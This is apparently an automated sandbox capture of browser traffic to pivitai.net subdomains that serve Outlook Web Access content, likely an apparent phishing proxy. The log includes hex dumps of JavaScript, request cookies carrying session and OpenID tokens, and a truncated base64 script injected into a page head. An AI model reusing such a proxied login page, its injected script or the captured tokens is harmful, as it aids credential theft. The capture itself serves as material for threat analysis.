2024-04-26 20:18:26 UTC	1369	IN	Data Raw: 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 6e 64 20 74 68 65 20 6c 69 63 65 6e 73 65 20 75 6e 64 65 72 20 77 68 69 63 68 20 4d 69 63 72 6f 73 6f 66 74 20 72 65 63 65 69 76 65 64 20 73 75 63 68 20 54 68 69 72 64 20 50 61 72 74 79 20 49 50 2c 20 61 72 65 20 73 65 74 20 66 6f 72 74 68 20 62 65 6c 6f 77 2e 20 53 75 63 68 20 6c 69 63 65 6e 73 65 73 20 61 6e 64 20 6e 6f 74 69 63 65 73 20 61 72 65 20 70 72 6f 76 69 64 65 64 20 66 6f 72 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 61 6c 20 70 75 72 70 6f 73 65 73 20 6f 6e 6c 79 2e 20 4d 69 63 72 6f 73 6f 66 74 20 6c 69 63 65 6e 73 65 73 20 74 68 65 20 54 68 69 72 64 20 50 61 72 74 79 20 49 50 20 74 6f 20 79 6f 75 20 75 6e 64 65 72 Data Ascii: rd Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under
2024-04-26 20:18:26 UTC	1369	IN	Data Raw: 7d 29 29 7d 74 2e 63 75 73 74 6f 6d 43 73 73 4c 6f 61 64 65 72 3d 6e 65 77 20 61 2c 74 2e 73 74 72 69 6e 67 73 3d 6e 2e 6f 62 73 65 72 76 61 62 6c 65 28 7b 7d 29 2c 74 2e 73 74 72 69 6e 67 73 2e 69 73 4c 6f 61 64 43 6f 6d 70 6c 65 74 65 3d 6e 2e 6f 62 73 65 72 76 61 62 6c 65 28 21 31 29 2c 74 2e 73 74 72 69 6e 67 73 2e 69 73 4c 6f 61 64 46 61 69 6c 75 72 65 3d 6e 2e 6f 62 73 65 72 76 61 62 6c 65 28 21 31 29 2c 74 2e 69 73 4c 6f 61 64 43 6f 6d 70 6c 65 74 65 3d 6e 2e 6f 62 73 65 72 76 61 62 6c 65 28 21 31 29 2c 74 2e 69 73 4c 6f 61 64 46 61 69 6c 75 72 65 3d 6e 2e 6f 62 73 65 72 76 61 62 6c 65 28 21 31 29 2c 74 2e 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 74 2e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 Data Ascii: }))}t.customCssLoader=new a,t.strings=n.observable({}),t.strings.isLoadComplete=n.observable(!1),t.strings.isLoadFailure=n.observable(!1),t.isLoadComplete=n.observable(!1),t.isLoadFailure=n.observable(!1),t.initialize=function(){},t.load=function(e){var r
2024-04-26 20:18:26 UTC	1369	IN	Data Raw: 6e 28 65 29 7b 72 65 74 75 72 6e 28 6e 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 65 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 26 26 65 21 3d 3d 53 79 6d 62 6f 6c 2e 70 72 6f 74 6f 74 79 70 65 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 29 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 Data Ascii: n(e){return(n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function o(e){return function(e){if
2024-04-26 20:18:26 UTC	1369	IN	Data Raw: 69 6f 6e 28 65 29 7b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 65 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 28 22 74 68 69 73 20 68 61 73 6e 27 74 20 62 65 65 6e 20 69 6e 69 74 69 61 6c 69 73 65 64 20 2d 20 73 75 70 65 72 28 29 20 68 61 73 6e 27 74 20 62 65 65 6e 20 63 61 6c 6c 65 64 22 29 3b 72 65 74 75 72 6e 20 65 7d 28 65 29 7d 28 65 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 65 3d 21 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 Data Ascii: ion(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e)}(e,function(){try{var e=!Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){})))}catch(e){}return function(){retur
2024-04-26 20:18:26 UTC	1369	IN	Data Raw: 2c 73 3d 21 30 2c 61 3d 21 31 3b 72 65 74 75 72 6e 7b 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 3d 72 2e 63 61 6c 6c 28 65 29 7d 2c 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 72 2e 6e 65 78 74 28 29 3b 72 65 74 75 72 6e 20 73 3d 65 2e 64 6f 6e 65 2c 65 7d 2c 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 3d 21 30 2c 69 3d 65 7d 2c 66 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 73 7c 7c 6e 75 6c 6c 3d 3d 72 5b 22 72 65 74 75 72 6e 22 5d 7c 7c 72 5b 22 72 65 74 75 72 6e 22 5d 28 29 7d 66 69 6e 61 6c 6c 79 7b 69 66 28 61 29 74 68 72 6f 77 20 69 7d 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 64 28 65 2c 74 29 7b 69 66 28 65 29 7b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 29 72 65 74 75 72 6e 20 79 28 65 2c 74 29 3b 76 61 72 20 72 Data Ascii: ,s=!0,a=!1;return{s:function(){r=r.call(e)},n:function(){var e=r.next();return s=e.done,e},e:function(e){a=!0,i=e},f:function(){try{s\|\|null==r["return"]\|\|r["return"]()}finally{if(a)throw i}}}}function d(e,t){if(e){if("string"==typeof e)return y(e,t);var r
2024-04-26 20:18:26 UTC	1369	IN	Data Raw: 6e 28 65 29 7b 69 66 28 63 28 66 28 74 2e 70 72 6f 74 6f 74 79 70 65 29 2c 22 63 6c 65 61 6e 52 61 77 73 22 2c 74 68 69 73 29 2e 63 61 6c 6c 28 74 68 69 73 2c 65 29 2c 74 68 69 73 2e 6e 6f 64 65 73 29 7b 76 61 72 20 72 2c 6e 3d 70 28 74 68 69 73 2e 6e 6f 64 65 73 29 3b 74 72 79 7b 66 6f 72 28 6e 2e 73 28 29 3b 21 28 72 3d 6e 2e 6e 28 29 29 2e 64 6f 6e 65 3b 29 72 2e 76 61 6c 75 65 2e 63 6c 65 61 6e 52 61 77 73 28 65 29 7d 63 61 74 63 68 28 6f 29 7b 6e 2e 65 28 6f 29 7d 66 69 6e 61 6c 6c 79 7b 6e 2e 66 28 29 7d 7d 7d 7d 2c 7b 6b 65 79 3a 22 65 61 63 68 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 74 68 69 73 2e 70 72 6f 78 79 4f 66 2e 6e 6f 64 65 73 29 72 65 74 75 72 6e 20 75 6e 64 65 66 69 6e 65 64 3b 66 6f 72 28 76 61 72 20 74 Data Ascii: n(e){if(c(f(t.prototype),"cleanRaws",this).call(this,e),this.nodes){var r,n=p(this.nodes);try{for(n.s();!(r=n.n()).done;)r.value.cleanRaws(e)}catch(o){n.e(o)}finally{n.f()}}}},{key:"each",value:function(e){if(!this.proxyOf.nodes)return undefined;for(var t
2024-04-26 20:18:26 UTC	1369	IN	Data Raw: 65 2c 74 2c 72 29 7b 72 65 74 75 72 6e 20 65 5b 74 5d 3d 3d 3d 72 7c 7c 28 65 5b 74 5d 3d 72 2c 22 6e 61 6d 65 22 21 3d 3d 74 26 26 22 70 61 72 61 6d 73 22 21 3d 3d 74 26 26 22 73 65 6c 65 63 74 6f 72 22 21 3d 3d 74 7c 7c 65 2e 6d 61 72 6b 44 69 72 74 79 28 29 29 2c 21 30 7d 7d 7d 7d 2c 7b 6b 65 79 3a 22 69 6e 64 65 78 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 65 3f 65 3a 28 65 2e 70 72 6f 78 79 4f 66 26 26 28 65 3d 65 2e 70 72 6f 78 79 4f 66 29 2c 74 68 69 73 2e 70 72 6f 78 79 4f 66 2e 6e 6f 64 65 73 2e 69 6e 64 65 78 4f 66 28 65 29 29 7d 7d 2c 7b 6b 65 79 3a 22 69 6e 73 65 72 74 41 66 74 65 72 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 Data Ascii: e,t,r){return e[t]===r\|\|(e[t]=r,"name"!==t&&"params"!==t&&"selector"!==t\|\|e.markDirty()),!0}}}},{key:"index",value:function(e){return"number"==typeof e?e:(e.proxyOf&&(e=e.proxyOf),this.proxyOf.nodes.indexOf(e))}},{key:"insertAfter",value:function(e,t){var
2024-04-26 20:18:26 UTC	1369	IN	Data Raw: 75 3d 70 28 65 3d 65 2e 6e 6f 64 65 73 2e 73 6c 69 63 65 28 30 29 29 3b 74 72 79 7b 66 6f 72 28 75 2e 73 28 29 3b 21 28 61 3d 75 2e 6e 28 29 29 2e 64 6f 6e 65 3b 29 7b 76 61 72 20 63 3d 61 2e 76 61 6c 75 65 3b 63 2e 70 61 72 65 6e 74 26 26 63 2e 70 61 72 65 6e 74 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 63 2c 22 69 67 6e 6f 72 65 22 29 7d 7d 63 61 74 63 68 28 6c 29 7b 75 2e 65 28 6c 29 7d 66 69 6e 61 6c 6c 79 7b 75 2e 66 28 29 7d 7d 65 6c 73 65 20 69 66 28 65 2e 74 79 70 65 29 65 3d 5b 65 5d 3b 65 6c 73 65 20 69 66 28 65 2e 70 72 6f 70 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 76 61 6c 75 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 56 61 6c 75 65 20 66 69 65 6c 64 20 69 73 20 6d 69 73 73 65 64 20 69 6e 20 Data Ascii: u=p(e=e.nodes.slice(0));try{for(u.s();!(a=u.n()).done;){var c=a.value;c.parent&&c.parent.removeChild(c,"ignore")}}catch(l){u.e(l)}finally{u.f()}}else if(e.type)e=[e];else if(e.prop){if("undefined"==typeof e.value)throw new Error("Value field is missed in
2024-04-26 20:18:26 UTC	1369	IN	Data Raw: 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 70 61 72 65 6e 74 3d 74 68 69 73 2c 74 68 69 73 2e 70 72 6f 78 79 4f 66 2e 6e 6f 64 65 73 2e 70 75 73 68 28 65 29 2c 74 68 69 73 7d 7d 2c 7b 6b 65 79 3a 22 72 65 6d 6f 76 65 41 6c 6c 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 3d 70 28 74 68 69 73 2e 70 72 6f 78 79 4f 66 2e 6e 6f 64 65 73 29 3b 74 72 79 7b 66 6f 72 28 74 2e 73 28 29 3b 21 28 65 3d 74 2e 6e 28 29 29 2e 64 6f 6e 65 3b 29 65 2e 76 61 6c 75 65 2e 70 61 72 65 6e 74 3d 75 6e 64 65 66 69 6e 65 64 7d 63 61 74 63 68 28 72 29 7b 74 2e 65 28 72 29 7d 66 69 6e 61 6c 6c 79 7b 74 2e 66 28 29 7d 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 6f 78 79 4f 66 2e 6e 6f 64 65 73 3d 5b 5d 2c 74 68 69 73 2e 6d 61 72 6b 44 69 72 Data Ascii: ction(e){return e.parent=this,this.proxyOf.nodes.push(e),this}},{key:"removeAll",value:function(){var e,t=p(this.proxyOf.nodes);try{for(t.s();!(e=t.n()).done;)e.value.parent=undefined}catch(r){t.e(r)}finally{t.f()}return this.proxyOf.nodes=[],this.markDir

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.17	49737	104.21.32.98	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:18:26 UTC	996	OUT	GET /owa/prefetch.aspx HTTP/1.1 Host: bdfdbdf.pivitai.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://dfgrt.pivitai.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d; ClientId=8838F4499FA6461C8518945BCAB542A3; OIDC=1; OpenIdConnect.nonce.v3.5UDRh8VSYItZsY0vZ-eA4eoOVm8MNLhbsrKXRDaCSHc=638497595002018025.6c8b42bd-f9fa-46f1-82e3-a88f5d2203a6; X-OWA-RedirectHistory=ArLym14B6VgJBC5m3Ag
2024-04-26 20:18:28 UTC	1344	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 20:18:27 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Alt-Svc: h3=":443"; ma=86400 Cache-Control: private, no-store Nel: {"report_to":"NelOfficeUpload1","max_age":7200,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelOfficeUpload1","max_age":7200,"endpoints":[{"url":"https://exo.nel.measure.office.net/api/report?TenantId=&FrontEnd=Cafe&DestinationEndpoint=XSP&RemoteIP=2403:cfc0:1114::"}],"include_subdomains":true} Request-Id: 897c03c8-dc5f-ea2c-7407-9f552688c7d5 Set-Cookie: OWAPF=v:15.20.7472.44&l:mouse; Path=/; HttpOnly; Secure Vary: Accept-Encoding X-Backend-Begin: 2024-04-26T20:18:27.549 X-Backend-End: 2024-04-26T20:18:27.564 X-Backendhttpstatus: 200 X-Backendhttpstatus: 200 X-Beserver: SEZPR06MB5174 X-Besku: WCS7 X-Calculatedbetarget: SEZPR06MB5174.apcprd06.PROD.OUTLOOK.COM X-Calculatedfetarget: SL2P216CU012.internal.outlook.com X-Diaginfo: SEZPR06MB5174 X-Feefzinfo: XSP X-Feproxyinfo: SG2PR06CA0202.APCPRD06.PROD.OUTLOOK.COM X-Feserver: SL2P216CA0225 X-Feserver: SG2PR06CA0202 X-Firsthopcafeefz: XSP X-Iids: 0 X-Owa-Diagnosticsinfo: 2;0;0 X-Owa-Version: 15.20.7472.44 X-Proxy-Backendserverstatus: 200 X-Proxy-Routingcorrectness: 1 X-Rum-Notupdatequerieddbcopy: 1
2024-04-26 20:18:28 UTC	161	IN	Data Raw: 58 2d 52 75 6d 2d 4e 6f 74 75 70 64 61 74 65 71 75 65 72 69 65 64 70 61 74 68 3a 20 31 0d 0a 58 2d 52 75 6d 2d 56 61 6c 69 64 61 74 65 64 3a 20 31 0d 0a 58 2d 55 61 2d 43 6f 6d 70 61 74 69 62 6c 65 3a 20 49 45 3d 45 6d 75 6c 61 74 65 49 45 37 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 37 61 39 34 33 31 36 31 62 33 38 64 61 63 64 2d 4d 49 41 0d 0a 0d 0a Data Ascii: X-Rum-Notupdatequeriedpath: 1X-Rum-Validated: 1X-Ua-Compatible: IE=EmulateIE7CF-Cache-Status: DYNAMICServer: cloudflareCF-RAY: 87a943161b38dacd-MIA
2024-04-26 20:18:28 UTC	1369	IN	Data Raw: 63 62 38 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 64 61 74 61 3a 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3b 62 61 73 65 36 34 2c 5a 6e 56 75 59 33 52 70 62 32 34 67 59 79 67 70 65 32 6c 6d 4b 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 59 69 49 70 49 48 78 38 49 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 5a 79 49 70 4b 58 74 6b 62 32 4e 31 62 57 56 75 64 43 35 6f 5a 57 46 6b 4c 6d 46 77 63 47 56 75 5a 45 4e 6f 61 57 78 6b 4b 45 39 69 61 6d 56 6a 64 43 35 68 63 33 4e 70 5a 32 34 6f 5a 47 39 6a 64 57 31 6c 62 6e 51 75 59 33 4a Data Ascii: cb8<!DOCTYPE html><html><head><script src="data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3J
2024-04-26 20:18:28 UTC	1369	IN	Data Raw: 7b 66 6f 72 28 76 61 72 20 72 3d 6e 2b 22 3d 22 2c 75 3d 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 2e 73 70 6c 69 74 28 22 3b 22 29 2c 74 2c 69 3d 30 3b 69 3c 75 2e 6c 65 6e 67 74 68 3b 2b 2b 69 29 7b 66 6f 72 28 74 3d 75 5b 69 5d 3b 74 2e 63 68 61 72 41 74 28 30 29 3d 3d 22 20 22 3b 29 74 3d 74 2e 73 75 62 73 74 72 69 6e 67 28 31 2c 74 2e 6c 65 6e 67 74 68 29 3b 69 66 28 74 2e 69 6e 64 65 78 4f 66 28 72 29 3d 3d 30 29 72 65 74 75 72 6e 20 74 2e 73 75 62 73 74 72 69 6e 67 28 72 2e 6c 65 6e 67 74 68 2c 74 2e 6c 65 6e 67 74 68 29 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 63 28 6e 2c 74 29 7b 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 6e 2b 22 3d 22 2b 74 2b 22 3b 20 70 61 74 68 3d 2f 22 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 6e Data Ascii: {for(var r=n+"=",u=document.cookie.split(";"),t,i=0;i<u.length;++i){for(t=u[i];t.charAt(0)==" ";)t=t.substring(1,t.length);if(t.indexOf(r)==0)return t.substring(r.length,t.length)}return null}function c(n,t){document.cookie=n+"="+t+"; path=/"}function l(n
2024-04-26 20:18:28 UTC	525	IN	Data Raw: 2e 72 65 73 2e 6f 66 66 69 63 65 33 36 35 2e 63 6f 6d 2f 6f 77 61 2f 70 72 65 6d 2f 31 35 2e 32 30 2e 37 34 37 32 2e 34 34 2f 73 63 72 69 70 74 73 2f 62 6f 6f 74 2e 77 6f 72 6c 64 77 69 64 65 2e 32 2e 6d 6f 75 73 65 2e 6a 73 27 2c 27 68 74 74 70 73 3a 2f 2f 72 34 2e 72 65 73 2e 6f 66 66 69 63 65 33 36 35 2e 63 6f 6d 2f 6f 77 61 2f 70 72 65 6d 2f 31 35 2e 32 30 2e 37 34 37 32 2e 34 34 2f 73 63 72 69 70 74 73 2f 62 6f 6f 74 2e 77 6f 72 6c 64 77 69 64 65 2e 33 2e 6d 6f 75 73 65 2e 6a 73 27 2c 27 68 74 74 70 73 3a 2f 2f 72 34 2e 72 65 73 2e 6f 66 66 69 63 65 33 36 35 2e 63 6f 6d 2f 6f 77 61 2f 70 72 65 6d 2f 31 35 2e 32 30 2e 37 34 37 32 2e 34 34 2f 72 65 73 6f 75 72 63 65 73 2f 69 6d 61 67 65 73 2f 30 2f 73 70 72 69 74 65 31 2e 6d 6f 75 73 65 2e 70 6e 67 27 Data Ascii: .res.office365.com/owa/prem/15.20.7472.44/scripts/boot.worldwide.2.mouse.js','https://r4.res.office365.com/owa/prem/15.20.7472.44/scripts/boot.worldwide.3.mouse.js','https://r4.res.office365.com/owa/prem/15.20.7472.44/resources/images/0/sprite1.mouse.png'
2024-04-26 20:18:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.17	49739	172.67.223.170	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:18:27 UTC	720	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: yukrtg.pivitai.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://dfgrt.pivitai.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
2024-04-26 20:18:27 UTC	1102	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 20:18:27 GMT Content-Type: image/x-icon Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 116791 Cache-Control: public, max-age=31536000 Content-Md5: EuPayFgGHQiAI7K9SOL6lg== Etag: 0x8D8731240E548EB Last-Modified: Sun, 18 Oct 2020 03:02:30 GMT X-Cache: HIT X-Ms-Blob-Type: BlockBlob X-Ms-Lease-Status: unlocked X-Ms-Request-Id: 76171af5-801e-00d7-3bd1-7ebf4e000000 X-Ms-Version: 2009-09-19 CF-Cache-Status: HIT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9iHEv0u8cEIwlKSkfb23mlDNjMTrZizop01dDWM6O%2BsemNYYGuTE8H5aDpmQrF66sqVLETnwTZdFtJwWGPnTcYbiAQpMxBhsJNXc0xPr5tn32LCBSt6tTpCGNDhsAB4b2btoRh4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a9431b6a49746f-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 20:18:27 UTC	267	IN	Data Raw: 34 33 31 36 0d 0a 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 Data Ascii: 4316h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333
2024-04-26 20:18:27 UTC	1369	IN	Data Raw: 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: 333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 33333333333333333333
2024-04-26 20:18:27 UTC	1369	IN	Data Raw: 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 Data Ascii: """""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""
2024-04-26 20:18:27 UTC	1369	IN	Data Raw: 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 Data Ascii: 